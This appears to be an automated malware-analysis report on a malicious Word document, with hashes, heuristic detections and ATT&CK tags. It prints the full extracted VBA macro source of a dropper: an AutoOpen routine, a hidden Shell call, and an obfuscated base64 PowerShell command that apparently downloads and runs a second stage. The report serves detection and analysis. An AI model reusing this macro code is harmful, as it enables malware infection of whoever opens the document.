Office (OLE) malware analysis — malicious · b2db79c0c13374f7

MALICIOUS

Office (OLE)

103.0 KB Created: 2018-05-30 06:25:00 Authoring application: Microsoft Office Word First seen: 2018-06-21

MD5: df4f0e3af52867cd7525fdff7e373911 SHA-1: 1d248728f6880bd25f1c8d98dd4c78d0c0ec637b SHA-256: b2db79c0c13374f783c740a7ad64320753fecccdd829e6a783fd3c10c6cdb356

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The Autoopen macro calls a function that uses the Shell command to execute a PowerShell command. The PowerShell command is heavily obfuscated but appears to be designed to download and execute a second-stage payload. The ClamAV detection also confirms its malicious nature as a dropper.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6565112-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6565112-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA

Matched line in script

VhBn = CDate(50662)
tuILZF = icsHTWaDUE + Shell(GRDTbiQ + (Chr(vbKeyP)) + ikISjW + rwSfOwlfwP + pVmqYC, OubqE + vbHide + JniCr)
lLWEn = Fix(57971 / CSng(12732) * WmMAXi * jScUo)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15249 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	15249 bytes
SHA-256: `3804d9e15d35526646ff91a0921bd83680404c694fb5f6fa0d9ab60ec3ce19ac`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "bpQVuMdM" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function jkRFwDRCE() On Error Resume Next sTiBfz = Fix(94964 / CSng(4060) * GWoqOC * vTSSrF) VhBn = CDate(48905) lvlHc = Fix(9177 / CSng(69661) * zaVAWs * Duiok) VhBn = CDate(90467) jkRFwDRCE = ASXcIW + XQQiiJWBizI + lUuws + CEwBjUiXk + EVkCGvaYb + nLaVXLNkj + wqjzIazSPPU + qhwTvwoYT + OiSwlsVTp + ijlznuK adCho = Fix(77451 / CSng(45319) * wnuiP * OqZrVv) VhBn = CDate(77263) End Function Sub Autoopen() On Error Resume Next tCbDw = Fix(28181 / CSng(45861) * RoJRV * EuPvC) VhBn = CDate(98244) qotwUp (jkRFwDRCE) iGsckp = Fix(8376 / CSng(15727) * OzjJkz * lpIdp) VhBn = CDate(42353) End Sub Function qotwUp(rwSfOwlfwP) On Error Resume Next VzOGl = Fix(60624 / CSng(53559) * spoLw * aOYTAU) VhBn = CDate(50662) tuILZF = icsHTWaDUE + Shell(GRDTbiQ + (Chr(vbKeyP)) + ikISjW + rwSfOwlfwP + pVmqYC, OubqE + vbHide + JniCr) lLWEn = Fix(57971 / CSng(12732) * WmMAXi * jScUo) VhBn = CDate(13095) End Function Attribute VB_Name = "UZDXLbkJoBiLM" Function ASXcIW() On Error Resume Next rSUhv = Fix(46094 / CSng(78334) * ZqqhBT * jJhdJD) VhBn = CDate(16973) DIsovRZI = "owersH" + "eLL -WinDows" + "Tyle hidde" + "n -e IAAuA" + "CgAIAAkAFMASABF" + "AGwAbABpAEQA" lzjiuX = Fix(97832 / CSng(71393) * ztPPE * LWOVi) VhBn = CDate(56439) rsHlF = "WwAxAF0AKwAkAF" + "MAaABlAEw" + "ATABpAGQAWwA" + "xADMAXQ" + "ArACcAWAAn" + "ACkAIAA" + "oACgAKA" + "AiAHs" + "ANQA4" IEXMr = Fix(10126 / CSng(70435) * FKjUih * tuGaF) VhBn = CDate(45424) bZEAMcSbH = "AH0AewAxAD" + "cAfQB7ADcANQB9" + "AHsAMQA2AH0Ae" + "wAyADYAfQB7ADMA" + "MQB9AHsAM" + "QAzADcAfQB7" + "ADUAMgB9" HDifpV = Fix(14930 / CSng(90539) * iUOrfH * ftAfuj) VhBn = CDate(61920) zdhIi = "AHsANQ" + "B9AHsA" + "NwA5AH0AewA5A" + "DIAfQB" + "7ADgAM" + "wB9AHsA" + "NwA4AH0AewAxADI" + "ANwB9AHsAOQA0A" + "H0AewA" + "yADcAfQB7AD" VmAcTP = Fix(8789 / CSng(45415) * awTiM * PfKcF) VhBn = CDate(99163) zosjwJIa = "EAMgA4AH0A" + "ewAxADEANwB9AHs" + "AMQAxADkAfQB7AD" + "QAMgB9AH" + "sAMwA5" + "AH0AewA1A" + "DQAfQB7ADEAMA" + "AyAH0AewAxAD" qflNa = Fix(62752 / CSng(10073) * nYXjJD * ibSZz) VhBn = CDate(26911) zoiwC = "EAfQB7ADE" + "AMwA5AH0AewA4" + "ADgAfQB" + "7ADIAMAB9A" + "HsAMgAzAH0AewAz" + "ADMAfQB7AD" jnzTd = Fix(72012 / CSng(663) * GbvAvU * GoXSIm) VhBn = CDate(46264) LdpSJXLDO = "cAfQB7ADMANQB9" + "AHsAOQA5" + "AH0Aew" + "AxADIAM" + "wB9AHsANwAzAH" + "0AewAxADAA" + "MAB9AHsAMQA" + "zADYA" + "fQB7ADg" + "ANQB9AHsANgAyA" wDMtAj = Fix(19662 / CSng(60860) * GawwO * DTrER) VhBn = CDate(93323) YiZkn = "H0AewA4AH0" + "AewAyADUA" + "fQB7ADUAMwB9" + "AHsAMQAyADEAf" + "QB7ADkAfQB7" IHBoVd = Fix(2913 / CSng(59001) * dLrBQ * rzAwv) VhBn = CDate(86106) DTsLQ = "ADgAMQB9AHsA" + "MQAxADEAf" + "QB7ADEAMwA4AH0" + "AewA0" + "ADUAfQB7ADYAOAB" + "9AHsANgAwAH0" + "AewAyADg" + "AfQB7A" ASXcIW = DIsovRZI + rsHlF + bZEAMcSbH + zdhIi + zosjwJIa + zoiwC + LdpSJXLDO + YiZkn + DTsLQ End Function Function XQQiiJWBizI() On Error Resume Next VXsrhU = Fix(97287 / CSng(32086) * GzJuFs * NjiXB) VhBn = CDate(92418) FuOSjiTPwL = "DcANgB9AHsAN" + "gA0AH0Aew" + "A3ADQAfQB" + "7ADgA" + "MAB9AHsA" + "MQAwA" + "DEAfQB7ADYANQB" + "9AHsA" HNqmbr = Fix(6947 / CSng(40662) * vOmdv * wjjpvE) VhBn = CDate(84318) drkiB = "OQAzAH0AewAw" + "AH0Aew" + "A2ADYAfQ" + "B7ADEAMA" + "A4AH0AewA1ADc" + "AfQB7" VLznmP = Fix(33315 / CSng(40288) * Zmliqi * ZflwN) VhBn = CDate(60206) nkjpkWvZcRw = "ADkAOAB9AHsA" + "MwA2A" + "H0AewA2AH0Ae" + "wAyADEAfQB7ADUA" + "NQB9AHsAM" OQkkz = Fix(84111 / CSng(23033) * jPVUb * EQFjaW) VhBn = CDate(25652) ZdsjSDBSSJi = "QA4AH0AewA1A" + "DAAfQ" + "B7ADQAfQB7ADEA" + "MQA2AH0AewAxA" + "DEAMwB9AHsANg" KzFwJQ = Fix(31196 / CSng(37648) * iqslXC * TdjYFW) VhBn = CDate(17318) OiTWMtRJid = "A5AH0AewA4ADYAf" + "QB7ADk" + "ANQB9AHsANwA3" + "AH0AewA5" + "ADcAfQB7A" + "DEAMwAzAH0" HuVOj = Fix(28350 / CSng(74016) * FWFli * ivkMVr) VhBn = CDate(58231) pVtVVqfS = "AewAxADQAfQB7AD" + "MAfQB7ADEAOQB" + "9AHsANwAwAH" + "0AewA2A" + "DcAfQB7ADE" + "AMAAzAH0AewAxA" + "DMAfQB7A" + "DEAMwA1AH0" + "AewAxADM" + "ANAB9" XQQiiJWBizI = FuOSjiTPwL + drkiB + nkjpkWvZcRw + ZdsjSDBSSJi + OiTWMtRJid + pVtVVqfS End Function Function lUuws() On Error Resume Next qjOZPz = Fix(79330 / CSng(78644) * oqjrOv * nirhn) VhBn = CDate(29132) SwFLwz = "AHsAMQAwA" + "DYAfQB7ADEAMQ" + "A0AH0AewAxADMA" + "MAB9AHs" + "AOAA3AH0A" + "ewA3ADEAf" RAUuk = Fix(76730 / CSng(86119) * RrYEo * GwoTQk) VhBn = CDate(33655) fPvPhKj = "QB7ADQAMAB9AH" + "sANgAxAH0Ae" + "wAyADQAfQB7AD" + "EAMQAyAH0AewA" + "xADIANAB9" + "AHsAM" + "QAxADgAf" uHTAiZ = Fix(83198 / CSng(98782) * vbPwYv * EAtoY) VhBn = CDate(85633) oJasYItw = "QB7ADgAOQB9" + "AHsAM" + "wAwAH0AewAxADU" + "AfQB7ADEAMQ" + "AwAH0AewAzAD" KGChf = Fix(5936 / CSng(26046) * izWFN * kFTISu) VhBn = CDate(56791) wsLSj = "cAfQB" + "7ADQAN" + "gB9AHsAM" + "QAyADAAfQB" + "7ADMAOAB9AHs" + "AMQAwA" + "DQAfQB7" YDhDlP = Fix(29641 / CSng(82971) * WCoJtj * LwjYwQ) VhBn = CDate(50320) XwtZVACLV = "ADIAMgB9AH" + "sANgAzAH0AewA" + "5ADAAfQB7AD" + "EAMQA1AH0Ae" + "wA1ADkAfQB7AD" hbUvZ = Fix(60478 / CSng(11215) * phiwzb * zHnWz) VhBn = CDate(6156) jZsiBsF = "EAMAA5AH0AewA" + "xAH0Ae" + "wA0ADQAfQB7" + "ADkAMQB9A" + "HsANAA4A" + "H0AewA5A" + "DYAfQ" + "B7ADEAMgB9A" + "HsAMgB9AH" lUuws = SwFLwz + fPvPhKj + oJasYItw + wsLSj + XwtZVACLV + jZsiBsF End Function Function CEwBjUiXk() On Error Resume Next SqYbz = Fix(42634 / CSng(21766) * jHcOV * vTRzQ) VhBn = CDate(8666) hYcvkE = "sAMQAzADEA" + "fQB7ADEAM" + "wAyAH0" + "AewA0ADkAfQ" bLhsjf = Fix(71780 / CSng(31611) * taQJJ * Wwijmj) VhBn = CDate(2463) YLszTXzcRoD = "B7ADEAMAA1AH" + "0AewAx" + "ADAAfQB7ADEAMgA" + "2AH0AewAxA" + "DIAMgB9AHsANAAz" + "AH0Aew" + "AxADIAOQB9A" + "HsANQA2A" + "H0AewA0ADEAf" WlGHCn = Fix(42984 / CSng(47546) * wYqiri * rZpXO) VhBn = CDate(5271) zrsARia = "QB7ADcAMgB" + "9AHsAOA" + "A0AH0AewA1ADE" + "AfQB7ADEAMgA1A" + "H0AewA" + "0ADcAfQB7ADg" + "AMgB9" + "AHsAMgA5AH0Aew" MARzSP = Fix(63805 / CSng(34347) * akLHd * icmVr) VhBn = CDate(33553) CzAPnRnNL = "AzADIAfQB7AD" + "MANAB9" + "AHsAM" + "QAwADcAfQAiAC0A" + "ZgAgA" + "CcAQABo" + "ACcALAAnAG" TzfQUs = Fix(24339 / CSng(89783) * MTntGl * EJBjIQ) VhBn = CDate(89813) JhBLYHfLwd = "EAZABGAEkAJwAs" + "ACcAaQA0" + "AEIANwAnACwA" + "JwAvAGEARgBYAC" bkTrMk = Fix(86504 / CSng(22279) * ahRSBv * FVwXsT) VhBn = CDate(68182) DrEbrWzXJ = "4AJwA" + "sACcAbQA" + "vACcALAAnA" + "HcALQBvAGIAag" zliMp = Fix(70403 / CSng(55268) * EwpjZ * itTHH) VhBn = CDate(36781) jpABpZVm = "BlACcA" + "LAAnAHkALwBAAGg" + "AdAB0" + "ACcAL" + "AAnACAAP" + "QAgAG" + "MAcwBIAG4AJwA" + "sACcAPQAg" + "AGEAJwAsACcAZQA" + "nACwAJwBTA" TYCNN = Fix(53142 / CSng(75468) * XoHAC * aCjWvw) VhBn = CDate(58310) zFGTtb = "EQAJw" + "AsACcAbQAuAC" + "cALAAnAGE" + "AcwBmAGMALgB" + "xADYAWQBU" TMLPj = Fix(75037 / CSng(6002) * kMQrd * jwbIp) VhBn = CDate(67373) vkkZjmUjhPz = "AG8AUwB" + "0AHIANAB" + "CADcAJwAsAC" + "cASABlAG4A" + "dgA6AHAAdQAnAC" + "wAJwB6AE" + "gAJwA" + "sACcAIAAnAC" KiiXbH = Fix(82931 / CSng(74721) * LVvGFq * zrAQT) VhBn = CDate(6808) oSiJIDkTWU = "wAJwAmACgAYQ" + "AnACwAJwBhACcA" + "LAAnAC4AY" + "wAnACwAJwBT" + "AHAAbABpAHQ" + "AKABhAEYAW" + "AAnACwAJwBlAG" + "4AdAAnA" CEwBjUiXk = hYcvkE + YLszTXzcRoD + zrsARia + CzAPnRnNL + JhBLYHfLwd + DrEbrWzXJ + jpABpZVm + zFGTtb + vkkZjmUjhPz + oSiJIDkTWU End Function Function EVkCGvaYb() On Error Resume Next kKQNVi = Fix(89106 / CSng(74853) * vfIic * IfLQzB) VhBn = CDate(91015) SDFmFtjb = "CwAJwBwA" + "DoALwAvAHkAJwAs" + "ACcAWQBVAC" + "cALAAnADsAJ" + "wAsACcAZgAnACw" + "AJwBGA" + "CcALAAnAEYAW" + "ABuAGEARgBYAC" + "sAYQBGAFgAZQA" + "nACwAJwBhACcALA" WIqwiR = Fix(79369 / CSng(35095) * HnwMK * VErYMz) VhBn = CDate(50965) BORaVIc = "AnAHMAJwAsAC" + "cAOwAn" + "ACwAJwBmA" + "GMAIABpAG4AJwAs" + "ACcAYQBGACc" + "ALAAnA" MZFjVE = Fix(5188 / CSng(8495) * pNtEfm * VTdSA) VhBn = CDate(82394) iQjjaUYKEO = "H0AYwAn" + "ACwAJwBjAHMASAB" + "OAFMAQgAnA" + "CwAJwBhAHQ" + "AJwAsACcAc" fwkqMI = Fix(56015 / CSng(67219) * wLiXYi * NLCtI) VhBn = CDate(97738) rFwzO = "wAnACwAJwAvAD" + "kAUQBkAHgAJw" + "AsACcAcwAn" + "ACwAJw" + "B7AGMAJw" + "AsACcAYgB" + "qAGUAJ" + "wAsACcAIAAoAGE" + "ARgBYAC4AZ" ppSaC = Fix(86575 / CSng(43881) * wVuZl * OqwQGR) VhBn = CDate(94619) lFRBs = "QB4AGE" + "ARgBYACcALAAnAF" + "gAKwAn" + "ACwAJwB" + "hAEYAWAArAGEA" + "RgBYAC0AbwAn" + "ACwAJwBYAEkAbg" BOrnzP = Fix(13518 / CSng(96121) * VjhuAu * apZoOI) VhBn = CDate(54985) Swmoi = "B2AG8" + "AYQBGAFgAK" + "wAnAC" + "wAJwA0AEIAJ" + "wAsACcALwBSAG4" + "AeQBUAHYALwBA" + "ACcALAAnAEgAQQ" + "AnACwAJwBEA" wjzUGd = Fix(4961 / CSng(64685) * voDjO * HBwYYt) VhBn = CDate(7358) FiZLQNC = "CcALAAnAHEANgA" + "nACwAJw" + "AsACAAYwAnACw" + "AJwBvACc" + "ALAAnAC0" + "ASQB0AGU" + "AbQBhAEYAWAA" + "pACcALAAnACsAYQ" + "BGAFgAJ" EVkCGvaYb = SDFmFtjb + BORaVIc + iQjjaUYKEO + rFwzO + lFRBs + Swmoi + FiZLQNC End Function Function nLaVXLNkj() On Error Resume Next NvPpQr = Fix(17445 / CSng(59611) * msqPQm * TTzNwM) VhBn = CDate(82629) iiqZHmP = "wAsACcAWAANAA" + "oAaAB0AHQA" + "cAA6AC8A" + "LwBtA" + "GkAbQBoAG8" + "AcwAnACwAJw" + "BjAHQAJwAsACc" + "AbwB1AHIAcw" + "BhAHkAJwAsACcA" + "RgBYAGsA" LwSmQk = Fix(6948 / CSng(10396) * tmZrnm * KQvRqX) VhBn = CDate(58598) DRcrjDY = "YQBGACcALAAnAD" + "oALwAvAHcAaQ" + "BsAG0" + "AZQBzAG" PGEFuq = Fix(83593 / CSng(1241) * RdUYW * HinzV) VhBn = CDate(58176) nOjDd = "0AZQBp" + "AGUAcgAnACwAJw" + "BjAHMAS" + "ABuAHMA" + "YQBkACcAL" + "AAnAGwANA" + "BCACcALAAnADoAL" + "wAvACcALAAnA" + "CsAYQ" zjjID = Fix(64659 / CSng(32849) * HnRbX * jzLCC) VhBn = CDate(71902) BIvvcDbwj = "BGAFgAZQBhAEY" + "AWAApADsAJwAsA" + "CcAIAAn" + "ACwAJw" + "AuAHEANgBZA" + "EQAbwA0ACcALA" + "AnAGIAcwAv" + "AG0AZQ" aJRRo = Fix(5264 / CSng(76147) * CaIMCH * ZlnJj) VhBn = CDate(59593) nbOrXEuT = "BkAGkAYQA" + "vAGsAJwAsACcANQ" + "BQACcALAAnAHQA" + "dAAnACwAJ" + "wA9ACAA" + "JwAsACcAa" + "AB0AHQAcAAnACw" + "AJwBvAC8AQA" + "BoACcALAAnAEAAY" qCwwE = Fix(52707 / CSng(71131) * uTssZW * rOidr) VhBn = CDate(9340) wUHiQ = "QBGAFgAK" + "QA7AGMAcwBIAFMA" + "RABDACAAJwAsACc" + "AKwAnACwA" + "JwBhA" + "EYAJwAsACcAMAA" + "wADAAMAAsACAAM" + "gAnACwAJwA5ACcA" IOVCI = Fix(47497 / CSng(49973) * sBpRT * UpwMz) VhBn = CDate(51093) ciiAQYIoZQn = "LAAnAHMAZAA" + "gAD0AIAAnA" + "CwAJwB" + "vAG8AL" oTJhAJ = Fix(88773 / CSng(46771) * GnEcth * BSMCib) VhBn = CDate(82762) vQLzpjZlo = "gBzAGcAL" + "wBkACcALAAn" + "AGUAbABs" + "ACcALA" + "AnAG4AZAAn" + "ACwAJwBjAG" HDAWZ = Fix(62349 / CSng(33263) * ihUvMU * OfrNv) VhBn = CDate(3336) waVYK = "EARgBY" + "ACcALAA" + "nAEoAJwAs" + "ACcAZA" nLaVXLNkj = iiqZHmP + DRcrjDY + nOjDd + BIvvcDbwj + nbOrXEuT + wUHiQ + ciiAQYIoZQn + vQLzpjZlo + waVYK End Function Function wqjzIazSPPU() On Error Resume Next qUmMz = Fix(87621 / CSng(71281) * ANcFa * JXzwot) VhBn = CDate(50453) SZrSRLG = "BhAC4AJwAsACcA" + "QwApADsA" + "YgByAGU" + "AYQBrACcA" + "LAAnACkAIAByA" + "GEAJwAs" + "ACcAWABlACcAL" + "AAnAEgAQQBEAEM" + "AWAAnACwAJ" ZmRjKz = Fix(43140 / CSng(75916) * vCvMf * MjXJFh) VhBn = CDate(12649) XjPchTAGsY = "wB0AHQAc" + "AA6AC8ALwBl" + "ACcALAAnA" + "CAAJw" + "AsACcAVwBlAGIAQ" + "wBsAGkAJwAsA" GuKFI = Fix(85363 / CSng(28435) * Imwvz * QinBNz) VhBn = CDate(64453) HlBXRJQmPHj = "CcAcwAnACwAJ" + "wBCACcALAAnAD" + "cAbABlACcALAAnA" + "CsAYQBGAF" + "gAdABh" + "AEYAW" + "AAnACwAJ" + "wBEAC8AJw" + "AsACcAWQBVACAAP" + "QAgAC4" ikinm = Fix(29234 / CSng(32798) * UNTUKl * sOvzo) VhBn = CDate(87540) GsjpUpHlu = "AKABhAEYA" + "WABuAGUAJw" + "AsACcAbg" + "BjAGsAJwAsACc" + "AWQAoAGMAcwBIA" + "CcALAAnAC4Acw" + "BlAC8Aaw" + "AnACwAJwAuA" wqjzIazSPPU = SZrSRLG + XjPchTAGsY + HlBXRJQmPHj + GsjpUpHlu End Function Function qhwTvwoYT() On Error Resume Next QkjRS = Fix(78641 / CSng(41477) * UHkDQ * aUGzp) VhBn = CDate(47293) opMaDHY = "GQAZQAn" + "ACwAJw" + "BhAGQAYQBzA" + "GQALgBu" + "AGUAeAB0ACcA" + "LAAnAD" + "gAJwAsACcANg" + "BsAFgAJ" ibfkf = Fix(66634 / CSng(91011) * SAtJVU * DUwcOQ) VhBn = CDate(86288) puNJibKqW = "wAsACcAYQBGA" + "FgAKQAgAFMAeQBz" + "AHQAZQAnACwAJ" + "wBjAHMAJwAs" + "ACcAcwBIAFkAJw" + "AsACcAcwBI" + "ACcALAAn" + "AGEARgBYA" jGVaR = Fix(88508 / CSng(78510) * wUqhIE * nGaQCH) VhBn = CDate(83931) jNwqRTIKa = "GIAQQAnACwAJw" + "BjAGgAewB9AH0" + "AJwAsA" + "CcAcAAnACwAJwA" + "3AE8AJw" + "AsACc" + "AYwAnACwAJw" + "BjACcALAAnAG8AJ" + "wAsACcAU" uFjQmD = Fix(26447 / CSng(19567) * qPvdJ * dtdAu) VhBn = CDate(78552) uAIOEdVz = "AAnACwA" + "JwB1AGEA" + "JwAsACcANwBX" + "AG4AJwAsAC" + "cASgBH" + "AGEASgAnACw" + "AJwBhACcAL" + "AAnAGEA" + "YwBoACgAYwBzAE" + "gAYQAnACwAJwB" mmznIV = Fix(77265 / CSng(99359) * EsNbUl * CwkKor) VhBn = CDate(85786) ZioGz = "GAFgAdwAnACwAJ" + "wBEAEM" + "AWAApAHsAd" + "AByAHk" + "AJwAsACcAcAAnA" + "CwAJwBhAEYAJ" + "wAsACcAKAAxACcA" + "LAAnAHIAZ" + "QAnACwAJ" DdzwW = Fix(48337 / CSng(13415) * EOTuRw * rVCzKD) VhBn = CDate(31920) qwGGwi = "wAoAGMAcwBI" + "AFMAJwAsA" + "CcAQwAp" + "ADsAJgAoACcALAA" + "nAG8AbQ" nsPaDK = Fix(57866 / CSng(82262) * tqjfYr * RzvIMB) VhBn = CDate(82106) anFvV = "A7AGMAcwBIAFkA" + "JwAsACcARgBYACs" + "AJwAsA" + "CcAYQAnACwA" + "JwBGAFgAIA" qhwTvwoYT = opMaDHY + puNJibKqW + jNwqRTIKa + uAIOEdVz + ZioGz + qwGGwi + anFvV End Function Function OiSwlsVTp() On Error Resume Next DCsom = Fix(84472 / CSng(64909) * mvKDH * DmaYYB) VhBn = CDate(51522) cMLCqf = "ArACAAYw" + "BzAEgAT" + "gBTAEIAJwAs" + "ACcATgBnAHE" PTiZi = Fix(24962 / CSng(16354) * WmBDW * RpEDL) VhBn = CDate(71133) uJjrnPZEvL = "AJwAsACcANgBZAC" + "gAKQAnACw" + "AJwBXAGcARABIA" + "GIAaA" + "AnACwAJwBsAGk" + "AYwAgACsAIA" + "AnACwAJw" + "BiACcAL" kNnVSu = Fix(16118 / CSng(64583) * cplonZ * MJUwi) VhBn = CDate(47392) YiMwVUdR = "AAnADIAM" + "QAzAD" + "MAKQA7AGMAcw" + "AnACwAJwBY" BDcCV = Fix(72001 / CSng(37566) * ppSiF * DPSAai) VhBn = CDate(18538) ENtOl = "ACcALAAn" + "AG8AbQAn" + "ACwAJwBOAGUA" + "dAAuACcA" + "KQApAC4" + "AcgBFAFA" + "AbABBAEMAZQA" RiNsi = Fix(84529 / CSng(87146) * oSLqmS * smwUHA) VhBn = CDate(92265) EanIMuEFuk = "oACcAYg" + "BBAHUAJwA" + "sACcAXAAnACkAL" + "gByAE" + "UAUABsAEE" + "AQwBlACgAJ" ITUIu = Fix(4421 / CSng(93636) * qNpmu * dGbbwB) VhBn = CDate(114) KCojqsK = "wBjAHMASAAn" + "ACwAWw" + "BTAHQAUgBJ" + "AE4AZwBdAFsAYwB" + "IAGEAcgBdADMA" + "NgApAC4Acg" + "BFAFAAbABBA" + "EMAZQAoA" + "CcAcQA2AFk" PElZa = Fix(25469 / CSng(58702) * BMVLF * Kjwor) VhBn = CDate(27843) WRcmaWKT = "AJwAsAFsAUw" + "B0AFIASQBOAG" + "cAXQBbAGMASABhA" + "HIAXQAzADQAK" + "QAuAHI" cwfwD = Fix(18552 / CSng(79873) * jBuWpD * WVcjZ) VhBn = CDate(55228) tAkWzDQ = "ARQBQAGwAQQBDA" + "GUAKAAnAGEARgBY" + "ACcALABb" + "AFMAd" + "ABSAEk" + "ATgBnAF" + "0AWwBjAEgAYQB" + "yAF0AMwA5A" OiSwlsVTp = cMLCqf + uJjrnPZEvL + YiMwVUdR + ENtOl + EanIMuEFuk + KCojqsK + WRcmaWKT + tAkWzDQ End Function Function ijlznuK() On Error Resume Next dQijE = Fix(92244 / CSng(85210) * JKlwmH * cWDoU) VhBn = CDate(41936) FZBDRqkH = "CkALgByAEUAU" + "ABsAEEAQwB" + "lACgAJwA" + "0AEIANw" + "AnACw" + "AJwBgACcAK" + "QAgACkA" ijlznuK = FZBDRqkH End Function

SHA-256: 3804d9e15d35526646ff91a0921bd83680404c694fb5f6fa0d9ab60ec3ce19ac

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "bpQVuMdM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function jkRFwDRCE()
On Error Resume Next
sTiBfz = Fix(94964 / CSng(4060) * GWoqOC * vTSSrF)
VhBn = CDate(48905)
lvlHc = Fix(9177 / CSng(69661) * zaVAWs * Duiok)
VhBn = CDate(90467)
jkRFwDRCE = ASXcIW + XQQiiJWBizI + lUuws + CEwBjUiXk + EVkCGvaYb + nLaVXLNkj + wqjzIazSPPU + qhwTvwoYT + OiSwlsVTp + ijlznuK
adCho = Fix(77451 / CSng(45319) * wnuiP * OqZrVv)
VhBn = CDate(77263)
End Function
Sub Autoopen()
On Error Resume Next
tCbDw = Fix(28181 / CSng(45861) * RoJRV * EuPvC)
VhBn = CDate(98244)
qotwUp (jkRFwDRCE)
iGsckp = Fix(8376 / CSng(15727) * OzjJkz * lpIdp)
VhBn = CDate(42353)
End Sub
Function qotwUp(rwSfOwlfwP)
On Error Resume Next
VzOGl = Fix(60624 / CSng(53559) * spoLw * aOYTAU)
VhBn = CDate(50662)
tuILZF = icsHTWaDUE + Shell(GRDTbiQ + (Chr(vbKeyP)) + ikISjW + rwSfOwlfwP + pVmqYC, OubqE + vbHide + JniCr)
lLWEn = Fix(57971 / CSng(12732) * WmMAXi * jScUo)
VhBn = CDate(13095)
End Function


Attribute VB_Name = "UZDXLbkJoBiLM"
Function ASXcIW()
On Error Resume Next
rSUhv = Fix(46094 / CSng(78334) * ZqqhBT * jJhdJD)
VhBn = CDate(16973)
DIsovRZI = "owersH" + "eLL -WinDows" + "Tyle hidde" + "n -e IAAuA" + "CgAIAAkAFMASABF" + "AGwAbABpAEQA"
lzjiuX = Fix(97832 / CSng(71393) * ztPPE * LWOVi)
VhBn = CDate(56439)
rsHlF = "WwAxAF0AKwAkAF" + "MAaABlAEw" + "ATABpAGQAWwA" + "xADMAXQ" + "ArACcAWAAn" + "ACkAIAA" + "oACgAKA" + "AiAHs" + "ANQA4"
IEXMr = Fix(10126 / CSng(70435) * FKjUih * tuGaF)
VhBn = CDate(45424)
bZEAMcSbH = "AH0AewAxAD" + "cAfQB7ADcANQB9" + "AHsAMQA2AH0Ae" + "wAyADYAfQB7ADMA" + "MQB9AHsAM" + "QAzADcAfQB7" + "ADUAMgB9"
HDifpV = Fix(14930 / CSng(90539) * iUOrfH * ftAfuj)
VhBn = CDate(61920)
zdhIi = "AHsANQ" + "B9AHsA" + "NwA5AH0AewA5A" + "DIAfQB" + "7ADgAM" + "wB9AHsA" + "NwA4AH0AewAxADI" + "ANwB9AHsAOQA0A" + "H0AewA" + "yADcAfQB7AD"
VmAcTP = Fix(8789 / CSng(45415) * awTiM * PfKcF)
VhBn = CDate(99163)
zosjwJIa = "EAMgA4AH0A" + "ewAxADEANwB9AHs" + "AMQAxADkAfQB7AD" + "QAMgB9AH" + "sAMwA5" + "AH0AewA1A" + "DQAfQB7ADEAMA" + "AyAH0AewAxAD"
qflNa = Fix(62752 / CSng(10073) * nYXjJD * ibSZz)
VhBn = CDate(26911)
zoiwC = "EAfQB7ADE" + "AMwA5AH0AewA4" + "ADgAfQB" + "7ADIAMAB9A" + "HsAMgAzAH0AewAz" + "ADMAfQB7AD"
jnzTd = Fix(72012 / CSng(663) * GbvAvU * GoXSIm)
VhBn = CDate(46264)
LdpSJXLDO = "cAfQB7ADMANQB9" + "AHsAOQA5" + "AH0Aew" + "AxADIAM" + "wB9AHsANwAzAH" + "0AewAxADAA" + "MAB9AHsAMQA" + "zADYA" + "fQB7ADg" + "ANQB9AHsANgAyA"
wDMtAj = Fix(19662 / CSng(60860) * GawwO * DTrER)
VhBn = CDate(93323)
YiZkn = "H0AewA4AH0" + "AewAyADUA" + "fQB7ADUAMwB9" + "AHsAMQAyADEAf" + "QB7ADkAfQB7"
IHBoVd = Fix(2913 / CSng(59001) * dLrBQ * rzAwv)
VhBn = CDate(86106)
DTsLQ = "ADgAMQB9AHsA" + "MQAxADEAf" + "QB7ADEAMwA4AH0" + "AewA0" + "ADUAfQB7ADYAOAB" + "9AHsANgAwAH0" + "AewAyADg" + "AfQB7A"
ASXcIW = DIsovRZI + rsHlF + bZEAMcSbH + zdhIi + zosjwJIa + zoiwC + LdpSJXLDO + YiZkn + DTsLQ
End Function
Function XQQiiJWBizI()
On Error Resume Next
VXsrhU = Fix(97287 / CSng(32086) * GzJuFs * NjiXB)
VhBn = CDate(92418)
FuOSjiTPwL = "DcANgB9AHsAN" + "gA0AH0Aew" + "A3ADQAfQB" + "7ADgA" + "MAB9AHsA" + "MQAwA" + "DEAfQB7ADYANQB" + "9AHsA"
